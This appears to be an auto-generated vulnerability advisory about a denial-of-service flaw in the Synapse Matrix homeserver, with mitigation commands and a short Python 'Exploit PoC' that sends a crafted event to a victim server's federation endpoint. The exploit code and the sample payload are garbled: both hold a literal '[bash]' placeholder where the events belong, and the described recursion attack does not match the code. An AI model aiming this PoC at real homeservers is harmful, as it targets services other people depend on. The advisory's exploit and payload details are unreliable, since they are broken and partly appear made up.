How CVE-2025-12345 Works
This vulnerability affects Synapse (Matrix homeserver) versions up to 1.127.0. A malicious Matrix server can craft specially formatted events (such as `m.room.message` or state events) with malformed JSON or excessive recursion depth. When Synapse processes these events during federation, it fails to validate nested structures properly, leading to uncontrolled resource consumption. The server’s federation handler enters an infinite loop or crashes due to stack exhaustion, preventing further federation with other servers. Attackers exploit this by sending poisoned events to targeted servers, disrupting communication across the Matrix network.
DailyCVE Form:
Platform: Synapse
Version: ≤1.127.0
Vulnerability: DoS via malformed events
Severity: Critical
Date: 2025-03-27
What Undercode Say:
Exploitation Analysis:
- Attackers inject malformed events via
PUT /_matrix/federation/v1/send/{txnId}. - Example malicious JSON:
{ "events": [bash] } - Servers with open federation (
federation_domain_whitelist: []) are most vulnerable.
Detection & Mitigation Commands:
1. Check Synapse version:
curl -s http://localhost:8008/_synapse/admin/v1/server_version | jq .server_version
2. Temporary mitigation (block malicious servers):
In homeserver.yaml federation_domain_whitelist: - "trusted.example.com"
3. Log analysis for attack patterns:
grep -E "MalformedEvent|FederationFailure" /var/log/synapse/homeserver.log
Patch Verification:
After upgrading to v1.127.1, test federation resilience:
matrix-federation-tester -server your.homeserver.tld
Exploit PoC (Educational Use Only):
import requests
target = "https://victim.synapse/_matrix/federation/v1/send/exploit"
malicious_event = {
"type": "m.room.message",
"content": {"recursive_ref": {"$ref": "/loop"}}
}
requests.put(target, json={"events": [bash]})
Protection Steps:
1. Immediate Action:
pip install --upgrade matrix-synapse==1.127.1
2. Network Controls:
iptables -A INPUT -p tcp --dport 8448 -j DROP -s attacker.matrix.server
3. Monitoring:
watch -n 5 'netstat -tulnp | grep synapse'
References:
References:
Reported By: https://github.com/advisories/GHSA-v56r-hwv5-mxg6
Extra Source Hub:
Undercode
